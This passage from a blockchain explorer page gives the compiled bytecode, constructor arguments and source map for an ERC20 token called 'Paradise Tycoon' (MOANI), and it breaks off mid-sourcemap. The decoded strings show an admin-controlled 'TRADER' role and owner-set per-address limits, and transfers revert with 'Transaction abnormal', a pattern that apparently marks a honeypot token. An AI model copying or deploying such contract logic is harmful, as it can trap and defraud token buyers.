5b005b6103f960048036038101906103f49190612253565b610abe565b6040516104069190612111565b60405180910390f35b6104296004803603810190610424919061245d565b610b21565b005b610433610ba3565b6040516104409190611ffb565b60405180910390f35b610463600480360381019061045e91906120b9565b610c33565b6040516104709190612111565b60405180910390f35b610493600480360381019061048e91906120b9565b610d19565b6040516104a09190612111565b60405180910390f35b6104b1610d36565b6040516104be919061216a565b60405180910390f35b6104e160048036038101906104dc9190612253565b610d3c565b005b6104fd60048036038101906104f8919061249b565b610d5f565b60405161050a919061216a565b60405180910390f35b61052d60048036038101906105289190612253565b610de1565b60405161053a919061216a565b60405180910390f35b60606007805461055290612506565b80601f016020809104026020016040519081016040528092919081815260200182805461057e90612506565b80156105c95780601f106105a0576101008083540402835291602001916105c9565b820191905f5260205f20905b8154815290600101906020018083116105ac57829003601f168201915b5050505050905090565b5f6105e66105df610e55565b8484610e5c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f61062984848461101f565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610670610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e6906125a6565b60405180910390fd5b610703856106fb610e55565b858403610e5c565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f6107bb670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461109d90919063ffffffff16565b905092915050565b5f801b6107d7816107d2610e55565b6110b2565b6107e1838361114e565b505050565b5f6012905090565b5f805f1b610803816107fe610e55565b6110b2565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b815260040161083e9291906125d3565b6020604051808303815f875af115801561085a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087e9190612624565b91505092915050565b5f801b61089b81610896610e55565b6110b2565b6108a3610e55565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610910576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610907906126bf565b60405180910390fd5b61091a8383611228565b505050565b5f6109bc61092b610e55565b848460055f610938610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109b7919061270a565b610e5c565b6001905092915050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b610a2081610a1b610e55565b6110b2565b5f80610a2b84611302565b80925081935050505f151581151503610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a70906127ad565b60405180910390fd5b5f8210610aaa57610aa58686610aa0670de0b6b3a76400008661141390919063ffffffff16565b611428565b610ab6565b610ab586865f611428565b5b505050505050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f801b610b3581610b30610e55565b6110b2565b7f54524144455200000000000000000000000000000000000000000000000000008314610b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8e90612815565b60405180910390fd5b81600281905550505050565b606060088054610bb290612506565b80601f0160208091040260200160405190810160405280929190818152602001828054610bde90612506565b8015610c295780601f10610c0057610100808354040283529160200191610c29565b820191905f5260205f20905b815481529060010190602001808311610c0c57829003601f168201915b5050505050905090565b5f8060055f610c40610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf1906128a3565b60405180910390fd5b610d0e610d05610e55565b85858403610e5c565b600191505092915050565b5f610d2c610d25610e55565b848461101f565b6001905092915050565b60025481565b5f801b610d5081610d4b610e55565b6110b2565b610d5a8383611228565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610e4d670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461109d90919063ffffffff16565b905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612931565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906129bf565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611012919061216a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612a4d565b60405180910390fd5b611098838383611482565b505050565b5f81836110aa9190612a98565b905092915050565b6110bc8282610abe565b61114a576110e18173ffffffffffffffffffffffffffffffffffffffff166014611580565b6110ee835f1c6020611580565b6040516020016110ff929190612b96565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111419190611ffb565b60405180910390fd5b5050565b6111588282610abe565b6112245760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111c9610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6112328282610abe565b156112fe575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506112a3610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f805f5b8351811015611405575f603085838151811061132557611324612bcf565b5b602001015160f81c60f81b60f81c61133d9190612bfc565b60ff16108061137b57506009603085838151811061135e5761135d612bcf565b5b602001015160f81c60f81b60f81c6113769190612bfc565b60ff16115b1561138c575f80925092505061140e565b600181855161139b9190612c30565b6113a59190612c30565b600a6113b19190612d92565b60308583815181106113c6576113c5612bcf565b5b602001015160f81c60f81b60f81c6113de9190612bfc565b60ff166113eb9190612ddc565b836113f6919061270a565b92508080600101915050611306565b50816001915091505b915091565b5f81836114209190612ddc565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612e8d565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612f1b565b60405180910390fd5b61157b8383836117b5565b505050565b60605f60028360026115929190612ddc565b61159c919061270a565b67ffffffffffffffff8111156115b5576115b46122cd565b5b6040519080825280601f01601f1916602001820160405280156115e75781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061161e5761161d612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061168157611680612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026116bf9190612ddc565b6116c9919061270a565b90505b6001811115611768577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061170b5761170a612bcf565b5b1a60f81b82828151811061172257611721612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061176190612f39565b90506116cc565b505f84146117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612faa565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611889576118337f54524144455200000000000000000000000000000000000000000000000000008461114e565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611894838383611899565b505050565b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361196d576119177f54524144455200000000000000000000000000000000000000000000000000008361114e565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61197883838361197d565b505050565b61198883838361198d565b505050565b5f8111156119cd576119c17f54524144455200000000000000000000000000000000000000000000000000008484846119d2565b6119cc838383611b86565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a5257611a517f54524144455200000000000000000000000000000000000000000000000000008483611dfe565b5b611a5b83611e8d565b8015611ab4575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aff57603260025403611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590613038565b60405180910390fd5b5b5f670de0b6b3a7640000611b138686610de1565b611b1d9190612ddc565b90505f811115611b65575f82670de0b6b3a7640000611b3c888861074e565b611b469190612ddc565b611b50919061270a565b9050611b5f8686858585611eaf565b50611b7e565b5f821480611b7257505f81145b15611b7d5750611b80565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90612a4d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5990612e8d565b60405180910390fd5b611c6d838383611f0c565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890612f1b565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d81919061270a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de5919061216a565b60405180910390a3611df8848484611f11565b50505050565b5f811115611e88575f670de0b6b3a7640000611e1a8585610de1565b611e249190612ddc565b905060636002541115611e86575f611e45838361109d90919063ffffffff16565b11611e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7c90613038565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f831115611f0557818110611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613038565b60405180910390fd5b611f04858583611f16565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fa8578082015181840152602081019050611f8d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fcd82611f71565b611fd78185611f7b565b9350611fe7818560208601611f8b565b611ff081611fb3565b840191505092915050565b5f6020820190508181035f8301526120138184611fc3565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120558261202c565b9050919050565b6120658161204b565b811461206f575f80fd5b50565b5f813590506120808161205c565b92915050565b5f819050919050565b61209881612086565b81146120a2575f80fd5b50565b5f813590506120b38161208f565b92915050565b5f80604083850312156120cf576120ce612024565b5b5f6120dc85828601612072565b92505060206120ed858286016120a5565b9150509250929050565b5f8115159050919050565b61210b816120f7565b82525050565b5f6020820190506121245f830184612102565b92915050565b5f819050919050565b61213c8161212a565b82525050565b5f6020820190506121555f830184612133565b92915050565b61216481612086565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f805f6060848603121561219a57612199612024565b5b5f6121a786828701612072565b93505060206121b886828701612072565b92505060406121c9868287016120a5565b9150509250925092565b6121dc8161212a565b81146121e6575f80fd5b50565b5f813590506121f7816121d3565b92915050565b5f6020828403121561221257612211612024565b5b5f61221f848285016121e9565b91505092915050565b5f6020828403121561223d5761223c612024565b5b5f61224a84828501612072565b91505092915050565b5f806040838503121561226957612268612024565b5b5f612276858286016121e9565b925050602061228785828601612072565b9150509250929050565b5f60ff82169050919050565b6122a681612291565b82525050565b5f6020820190506122bf5f83018461229d565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61230382611fb3565b810181811067ffffffffffffffff82111715612322576123216122cd565b5b80604052505050565b5f61233461201b565b905061234082826122fa565b919050565b5f67ffffffffffffffff82111561235f5761235e6122cd565b5b61236882611fb3565b9050602081019050919050565b828183375f83830152505050565b5f61239561239084612345565b61232b565b9050828152602081018484840111156123b1576123b06122c9565b5b6123bc848285612375565b509392505050565b5f82601f8301126123d8576123d76122c5565b5b81356123e8848260208601612383565b91505092915050565b5f805f6060848603121561240857612407612024565b5b5f612415868287016121e9565b935050602061242686828701612072565b925050604084013567ffffffffffffffff81111561244757612446612028565b5b612453868287016123c4565b9150509250925092565b5f806040838503121561247357612472612024565b5b5f612480858286016121e9565b9250506020612491858286016120a5565b9150509250929050565b5f80604083850312156124b1576124b0612024565b5b5f6124be85828601612072565b92505060206124cf85828601612072565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061251d57607f821691505b6020821081036125305761252f6124d9565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612590602583611f7b565b915061259b82612536565b604082019050919050565b5f6020820190508181035f8301526125bd81612584565b9050919050565b6125cd8161204b565b82525050565b5f6040820190506125e65f8301856125c4565b6125f3602083018461215b565b9392505050565b612603816120f7565b811461260d575f80fd5b50565b5f8151905061261e816125fa565b92915050565b5f6020828403121561263957612638612024565b5b5f61264684828501612610565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6126a9602f83611f7b565b91506126b48261264f565b604082019050919050565b5f6020820190508181035f8301526126d68161269d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61271482612086565b915061271f83612086565b9250828201905080821115612737576127366126dd565b5b92915050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612797602383611f7b565b91506127a28261273d565b604082019050919050565b5f6020820190508181035f8301526127c48161278b565b9050919050565b7f6c6173746e756d206973206e6f742061206e756d6265720000000000000000005f82015250565b5f6127ff601783611f7b565b915061280a826127cb565b602082019050919050565b5f6020820190508181035f83015261282c816127f3565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61288d602583611f7b565b915061289882612833565b604082019050919050565b5f6020820190508181035f8301526128ba81612881565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61291b602483611f7b565b9150612926826128c1565b604082019050919050565b5f6020820190508181035f8301526129488161290f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129a9602283611f7b565b91506129b48261294f565b604082019050919050565b5f6020820190508181035f8301526129d68161299d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602583611f7b565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612aa282612086565b9150612aad83612086565b925082612abd57612abc612a6b565b5b828204905092915050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612b06601783612ac8565b9150612b1182612ad2565b601782019050919050565b5f612b2682611f71565b612b308185612ac8565b9350612b40818560208601611f8b565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612b80601183612ac8565b9150612b8b82612b4c565b601182019050919050565b5f612ba082612afa565b9150612bac8285612b1c565b9150612bb782612b74565b9150612bc38284612b1c565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612c0682612291565b9150612c1183612291565b9250828203905060ff811115612c2a57612c296126dd565b5b92915050565b5f612c3a82612086565b9150612c4583612086565b9250828203905081811115612c5d57612c5c6126dd565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612cb857808604811115612c9457612c936126dd565b5b6001851615612ca35780820291505b8081029050612cb185612c63565b9450612c78565b94509492505050565b5f82612cd05760019050612d8b565b81612cdd575f9050612d8b565b8160018114612cf35760028114612cfd57612d2c565b6001915050612d8b565b60ff841115612d0f57612d0e6126dd565b5b8360020a915084821115612d2657612d256126dd565b5b50612d8b565b5060208310610133831016604e8410600b8410161715612d615782820a905083811115612d5c57612d5b6126dd565b5b612d8b565b612d6e8484846001612c6f565b92509050818404811115612d8557612d846126dd565b5b81810290505b9392505050565b5f612d9c82612086565b9150612da783612086565b9250612dd47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612cc1565b905092915050565b5f612de682612086565b9150612df183612086565b9250828202612dff81612086565b91508282048414831517612e1657612e156126dd565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e77602383611f7b565b9150612e8282612e1d565b604082019050919050565b5f6020820190508181035f830152612ea481612e6b565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612f05602383611f7b565b9150612f1082612eab565b604082019050919050565b5f6020820190508181035f830152612f3281612ef9565b9050919050565b5f612f4382612086565b91505f8203612f5557612f546126dd565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f94602083611f7b565b9150612f9f82612f60565b602082019050919050565b5f6020820190508181035f830152612fc181612f88565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f613022602683611f7b565b915061302d82612fc8565b604082019050919050565b5f6020820190508181035f83015261304f81613016565b905091905056fea2646970667358221220bda13f93bc3611248b2338aab06881c6e48d4571d00743a324d48d9112edf97164736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000800000000000000000000000009213e6e1774ab8b47eff95516431cc80adff5ec800000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000000f5061726164697365205479636f6f6e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054d4f414e49000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Paradise Tycoon
Arg [1] : _tokenOwner (address): 0x9213E6E1774Ab8B47efF95516431cC80adff5ec8
Arg [2] : _symbol (string): MOANI
Arg [3] : _totalSupply (uint256): 1600000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 0000000000000000000000009213e6e1774ab8b47eff95516431cc80adff5ec8
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 000000000000000000000000000000000000000000000000000000005f5e1000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000f
Arg [5] : 5061726164697365205479636f6f6e0000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 4d4f414e49000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

27163:2584:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21289:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22257:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15455:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21610:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22453:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17872:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15577:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15411:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17677:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18003:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21509:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29535:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18289:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22975:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21726:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16385:496;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15733:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16891:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21397:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23273:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21871:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15546:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18145:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22073:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17484:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21289:100;21343:13;21376:5;21369:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21289:100;:::o;22257:188::-;22362:4;22379:36;22388:12;:10;:12::i;:::-;22402:7;22411:3;22379:8;:36::i;:::-;22433:4;22426:11;;22257:188;;;;:::o;15455:50::-;15488:17;15455:50;:::o;21610:108::-;21671:7;21698:12;;21691:19;;21610:108;:::o;22453:514::-;22590:4;22607:33;22617:6;22625:9;22636:3;22607:9;:33::i;:::-;22653:24;22680:11;:19;22692:6;22680:19;;;;;;;;;;;;;;;:33;22700:12;:10;:12::i;:::-;22680:33;;;;;;;;;;;;;;;;22653:60;;22766:3;22746:16;:23;;22724:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;22870:54;22879:6;22887:12;:10;:12::i;:::-;22920:3;22901:16;:22;22870:8;:54::i;:::-;22955:4;22948:11;;;22453:514;;;;;:::o;17872:123::-;17938:7;17965:6;:12;17972:4;17965:12;;;;;;;;;;;:22;;;17958:29;;17872:123;;;:::o;15577:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;15411:36::-;15443:4;15411:36;;;:::o;17677:185::-;17786:7;17813:41;17845:8;17813:6;:12;17820:4;17813:12;;;;;;;;;;;:15;;:18;;:27;17832:7;17813:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;17806:48;;17677:185;;;;:::o;18003:134::-;15443:4;18086:5;;15675:30;15686:4;15692:12;:10;:12::i;:::-;15675:10;:30::i;:::-;18104:25:::1;18115:4;18121:7;18104:10;:25::i;:::-;18003:134:::0;;;:::o;21509:93::-;21567:5;21592:2;21585:9;;21509:93;:::o;29535:205::-;29651:12;15443:4;29635:5;;15675:30;15686:4;15692:12;:10;:12::i;:::-;15675:10;:30::i;:::-;29690:12:::1;29683:29;;;29713:10;29725:6;29683:49;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29676:56;;29535:205:::0;;;;;:::o;18289:234::-;15443:4;18375:5;;15675:30;15686:4;15692:12;:10;:12::i;:::-;15675:10;:30::i;:::-;18412:12:::1;:10;:12::i;:::-;18401:23;;:7;:23;;;18393:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;18489:26;18501:4;18507:7;18489:11;:26::i;:::-;18289:234:::0;;;:::o;22975:290::-;23088:4;23105:130;23128:12;:10;:12::i;:::-;23155:7;23214:10;23177:11;:25;23189:12;:10;:12::i;:::-;23177:25;;;;;;;;;;;;;;;:34;23203:7;23177:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;23105:8;:130::i;:::-;23253:4;23246:11;;22975:290;;;;:::o;21726:137::-;21813:7;21840:9;:15;21850:4;21840:15;;;;;;;;;;;;;;;;21833:22;;21726:137;;;:::o;16385:496::-;15443:4;16503:5;;15675:30;15686:4;15692:12;:10;:12::i;:::-;15675:10;:30::i;:::-;16521:16:::1;16548:8:::0;16585:22:::1;16603:3;16585:17;:22::i;:::-;16567:40;;;;;;;;16629:5;16622:12;;:3;:12;;::::0;16618:90:::1;;16651:45;;;;;;;;;;:::i;:::-;;;;;;;;16618:90;16743:1;16731:8;:13;16728:146;;16760:46;16773:4;16778;16783:22;16796:8;16783;:12;;:22;;;;:::i;:::-;16760:12;:46::i;:::-;16728:146;;;16837:25;16850:4;16855;16860:1;16837:12;:25::i;:::-;16728:146;16510:371;;16385:496:::0;;;;:::o;15733:139::-;15811:4;15835:6;:12;15842:4;15835:12;;;;;;;;;;;:20;;:29;15856:7;15835:29;;;;;;;;;;;;;;;;;;;;;;;;;15828:36;;15733:139;;;;:::o;16891:216::-;15443:4;16980:5;;15675:30;15686:4;15692:12;:10;:12::i;:::-;15675:10;:30::i;:::-;15488:17:::1;17001:4;:14;16998:78;;17031:33;;;;;;;;;;:::i;:::-;;;;;;;;16998:78;17096:3;17086:7;:13;;;;16891:216:::0;;;:::o;21397:104::-;21453:13;21486:7;21479:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21397:104;:::o;23273:475::-;23391:4;23408:24;23435:11;:25;23447:12;:10;:12::i;:::-;23435:25;;;;;;;;;;;;;;;:34;23461:7;23435:34;;;;;;;;;;;;;;;;23408:61;;23522:15;23502:16;:35;;23480:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;23638:67;23647:12;:10;:12::i;:::-;23661:7;23689:15;23670:16;:34;23638:8;:67::i;:::-;23736:4;23729:11;;;23273:475;;;;:::o;21871:194::-;21979:4;21996:39;22006:12;:10;:12::i;:::-;22020:9;22031:3;21996:9;:39::i;:::-;22053:4;2